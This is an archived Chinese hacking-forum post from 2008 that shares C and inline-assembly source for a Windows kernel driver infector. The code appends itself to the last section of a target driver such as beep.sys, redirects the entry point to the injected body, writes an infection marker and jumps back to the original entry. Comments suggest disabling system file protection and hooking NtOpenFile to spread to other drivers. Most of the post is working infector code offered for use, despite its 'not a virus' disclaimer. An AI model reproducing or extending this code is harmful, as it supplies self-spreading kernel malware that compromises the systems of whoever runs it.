查看完整版本: 完整的驱动感染.code.编译通过

蓝星星 2008-6-7 20:04

完整的驱动感染.code.编译通过

信息来源:邪恶八进制信息安全团队
文章作者:sudami


完整的驱动感染.code.编译通过[color=#008000]/*
* Module: InfectDriver.c
*
* Author : 老Y (源自kanxue,不过老Y放的code不完整,需要自己补充)
* Fixer : sudami [[email=sudami@163.com][color=#314d84]sudami@163.com[/color][/email]]
* Time : 08/05/28
*
* Comment:
*
* 半年前一大牛在kanxue进行“驱动感染”扫盲,偶当时没搞明白.半年后突然想起来,于是
* 尝试学习下.由于偶太菜,弄了几个小半天.终于调试成功. 关键点在于计算驱动自身的
* 大小, 编译完驱动后,要用IDA打开它:
* 1. 计算出第一个变量到call $+5 处的偏移量.
* 2. 计算ulEndaddr到文件末尾的偏移量.一般就是INIT的那一小段dd.
*
* Description:
*
* 此驱动的功能很简单,可自己扩充,感染成功后,仅仅创建一个线程不断的打印信息.
* 自己扩充功能时,要时刻记着对于全局变量和函数,都得重新定位,用作者提供的
* KGetGlobalVarAddr() 函数即可. 对感染部分进行了详细的注释,对此很陌生的同学
* 可以参考参考.
*****
*
* 若想感染beep.sys、null.sys等系统文件,记得先去掉SFP.当然,像微点这样的主动防御
* 软件已经不允许修改Driver目录下的sys了. 需要自己想办法;
*
* zjjmj2002大牛以前写过一个驱动感染的sys,小小的扭曲过,会挂钩NtOpenFile以实现感染
* 用户访问的驱动文件. 很好很邪恶~~~~ - -
*****
*
* Copyright (c) 2008 sudami.
* Freely distributable in source or binary for noncommercial purposes.
* This is not a virus, So take it easy, just for fun.
*
*/[/color]


发出来让还没接触过这些的同学少走些弯路,免得像偶一样调试半天才补完整~~ [img]http://www.debugman.com/image/post/smile/mysmile/ico45.gif[/img]
[b]切勿用于非法用途.[/b]


2处关键部分如下:

[color=#008000]/**
[url=mailto:*@brief]*@brief[/url] 感染指定的文件
*
[url=mailto:*@param[in]*@param[in[/url]]  pwszFileName 要感染的驱动文件名
[url=mailto:*@param[in]*@param[in[/url]]  ulNewEntryPointDelta DriverEntry函数址与感染体首地址之间的差值
[url=mailto:*@return]*@return[/url] 返回STATUS_SUCCESS表示成功,其它值表示失败
*/[/color]
[color=#0000d0]int[/color] KInfect([color=#0000d0]WCHAR[/color] *pwszFileName, [color=#0000d0]ULONG[/color] ulNewEntryPointDelta)
{      
    [color=#0000d0]__asm[/color]{
    [color=#0000d0]call[/color] my_Next
my_Next:
    [color=#0000d0]pop[/color] [color=#ff0000]eax[/color]
    [color=#0000d0]sub[/color] [color=#ff0000]eax[/color], 5
    [color=#0000d0]mov[/color] ulDelta,[color=#ff0000]eax[/color]
    }  
      
    ultmp = ulDelta - [b][color=#ff0000][size=4]0x14B7[/size][/color][/b];  
    ulBodySize = ulEndAddr - ultmp + [b][color=#ff0000][size=4]0x34[/size][/color][/b];  

    nRetCode = KPEInitFromFileW(
        &pe,
        pwszFileName
        );
    [color=#0000d0]if[/color] (!NT_SUCCESS(nRetCode))  {  
              [color=#0000d0]goto[/color] Exit0;
    }
    [color=#0000d0]if[/color] (pe.pDosHdr->e_csum == 0x5748)  { [color=#008000]//感染标记[/color]  
                [color=#0000d0]goto[/color] Exit0;
    }
    ulSecNum = KPEGetSecNum(&pe);
    [color=#0000d0]if[/color] (!ulSecNum)  {  
                [color=#0000d0]goto[/color] Exit0;
    }
    [color=#008000]//[/color]
    [color=#008000]// 对齐[/color]
    [color=#008000]// Misc.VirtualSize - 文件中的节长度.即对齐前的节尺寸[/color]
    [color=#008000]// SizeOfRawData - 内存中的节长度,即对齐后的节尺寸[/color]
    [color=#008000]//[/color]
    ulFileAlignment = pe.pNtHdr->OptionalHeader.FileAlignment; [color=#008000]// 段在文件中的对齐方式[/color]
    ulSectionAlignment = pe.pNtHdr->OptionalHeader.SectionAlignment; [color=#008000]// 段加载后在内存中的对齐方式。[/color]
    pe.pSecHdr[ulSecNum - 1].SizeOfRawData =  
        ((pe.pSecHdr[ulSecNum - 1].SizeOfRawData - 1) / ulFileAlignment + 1) * ulFileAlignment;
    pe.pSecHdr[ulSecNum - 1].Misc.VirtualSize =  
        ((pe.pSecHdr[ulSecNum - 1].Misc.VirtualSize - 1) / ulFileAlignment + 1) * ulFileAlignment;

    [color=#008000]//[/color]
    [color=#008000]// PointerToRawData - 节基于文件的偏移量,可根据它在文件中找到节[/color]
    [color=#008000]// ulNewFilePos - 新的写入点地址,即最后一个节的末尾处[/color]
    [color=#008000]// e_ip - 初始的指令指针值, e_cs -  初始的代码段相对偏移量值[/color]
    [color=#008000]// AddressOfEntryPoint -  程序入口RVA[/color]
    [color=#008000]//[/color]
    [color=#008000]// 新的程序入口改为了感染体最后一个节,病毒体内的DriverEntry处[/color]
    [color=#008000]//[/color]
    ulNewFilePos = pe.pSecHdr[ulSecNum - 1].SizeOfRawData + pe.pSecHdr[ulSecNum - 1].PointerToRawData;
    pe.pDosHdr->e_ip = ([color=#0000d0]USHORT[/color])(pe.pNtHdr->OptionalHeader.AddressOfEntryPoint & 0xFFFF);
    pe.pDosHdr->e_cs = ([color=#0000d0]USHORT[/color])( (pe.pNtHdr->OptionalHeader.AddressOfEntryPoint >> 16) & 0xFFFF);
    pe.pNtHdr->OptionalHeader.AddressOfEntryPoint =  
        ulNewEntryPointDelta +  
        pe.pSecHdr[ulSecNum - 1].VirtualAddress +  
        pe.pSecHdr[ulSecNum - 1].Misc.VirtualSize;
    [color=#008000]//[/color]
    [color=#008000]// 增加最后一个节的长度, + ulBodySize,为感染体自身的大小[/color]
    [color=#008000]//[/color]
    pe.pSecHdr[ulSecNum - 1].SizeOfRawData += ulBodySize;
    pe.pSecHdr[ulSecNum - 1].Misc.VirtualSize += ulBodySize;
    [color=#008000]//[/color]
    [color=#008000]// 写感染标记[/color]
    [color=#008000]// e_csum 为校验和[/color]
    [color=#008000]//[/color]
    pe.pDosHdr->e_csum = 0x5748;   
    nRetCode = KSeek(pe.hFile, ulNewFilePos);
    [color=#0000d0]if[/color] (!NT_SUCCESS(nRetCode)) {  
            [color=#0000d0]goto[/color] Exit0;
    }
   
    nRetCode = KWriteFile(
        pe.hFile,
        ([color=#0000d0]PVOID[/color])ultmp, [color=#008000]// 起始的Buffer地址,这里为病毒第一个全局变量的地址[/color]
        ulBodySize,
        &ulReturnLength
        );
    [color=#0000d0]if[/color] (!NT_SUCCESS(nRetCode)) {  
              [color=#0000d0]goto[/color] Exit0;
    }

    pe.pNtHdr->OptionalHeader.SizeOfImage =  
        pe.pSecHdr[ulSecNum - 1].VirtualAddress + pe.pSecHdr[ulSecNum - 1].Misc.VirtualSize;
   
    pe.pSecHdr[ulSecNum - 1].Characteristics |= (IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_WRITE);
    pe.pSecHdr[ulSecNum - 1].Characteristics &= (~IMAGE_SCN_MEM_DISCARDABLE);

    [color=#008000]//[/color]
    [color=#008000]//[/color]
    [color=#008000]//[/color]
    nRetCode = KSeek(pe.hFile, 0);
    [color=#0000d0]if[/color] (!NT_SUCCESS(nRetCode)) {  
            [color=#0000d0]goto[/color] Exit0;
    }  
   
    ..........  
Exit0:
    KDelete(pe.pSecHdr);
    pe.pSecHdr = [color=#0000d0]NULL[/color];
    KDelete(pe.pNtHdr);
    pe.pNtHdr = [color=#0000d0]NULL[/color];
    KDelete(pe.pDosHdr);
    pe.pDosHdr = [color=#0000d0]NULL[/color];
    KClose(pe.hFile);
    [color=#0000d0]return[/color] nResult;
}





[color=#008000]//[/color]
[color=#008000]// 本驱动会感染System32\Drivers\beep.sys,感染方式为更改最后一个节的大小,[/color]
[color=#008000]// 然后写入感染体代码,被感染的驱动加载成功的表现为每隔一秒种使用DbgPrint输出I'm here[/color]
[color=#008000]// 可以在Windbg或DbgView查看[/color]
[color=#008000]//[/color]
NTSTATUS  
DriverEntry(
    IN PDRIVER_OBJECT DriverObject,  
    IN PUNICODE_STRING RegistryPath
    )
{
    ....
Exit0:
    [color=#0000d0]__asm[/color]
    {
        [color=#0000d0]push[/color] offset g_ulOrgEntryPoint
        [color=#0000d0]call[/color] KGetGlobalVarAddr
        [color=#0000d0]mov[/color] [color=#ff0000]eax[/color], [[color=#ff0000]eax[/color]]
        [color=#0000d0]or[/color] [color=#ff0000]eax[/color],[color=#ff0000]eax[/color]
        [color=#0000d0]jz[/color] Exit1
        [color=#0000d0]push[/color] [color=#ff0000]eax[/color]  [color=#008000]// 保存eax - 原来的EOP[/color]
        [color=#0000d0]call[/color] KCreateSystemThread  [color=#008000]// 干我们想干的事情[/color]
        [color=#0000d0]pop[/color] [color=#ff0000]eax[/color]  [color=#008000]// 恢复eax - 原来的EOP[/color]
        [color=#0000d0]pop[/color]    [color=#ff0000]edi[/color]
        [color=#0000d0]pop[/color]    [color=#ff0000]esi[/color]
        [color=#0000d0]pop[/color]    [color=#ff0000]ebx[/color]
        [color=#0000d0]mov[/color]    [color=#ff0000]esp[/color], [color=#ff0000]ebp[/color]
        [color=#0000d0]pop[/color]    [color=#ff0000]ebp[/color]
        [color=#0000d0]jmp[/color] [color=#ff0000]eax[/color]  [color=#008000]// JMP回程序的原入口继续执行[/color]
    }
Exit1:        
   
    [color=#0000d0]__asm[/color]
    {
            [color=#0000d0]mov[/color]    [color=#ff0000]eax[/color], 0C0000001h
            [color=#0000d0]pop[/color]    [color=#ff0000]edi[/color]
            [color=#0000d0]pop[/color]    [color=#ff0000]esi[/color]
            [color=#0000d0]pop[/color]    [color=#ff0000]ebx[/color]
            [color=#0000d0]mov[/color]    [color=#ff0000]esp[/color], [color=#ff0000]ebp[/color]
            [color=#0000d0]pop[/color]    [color=#ff0000]ebp[/color]
            [color=#0000d0]retn[/color]    8
    }
}


[img]http://forum.eviloctal.com/images/default/attachimg.gif[/img] [attach]257323[/attach]
页: [1]
查看完整版本: 完整的驱动感染.code.编译通过
黑客手册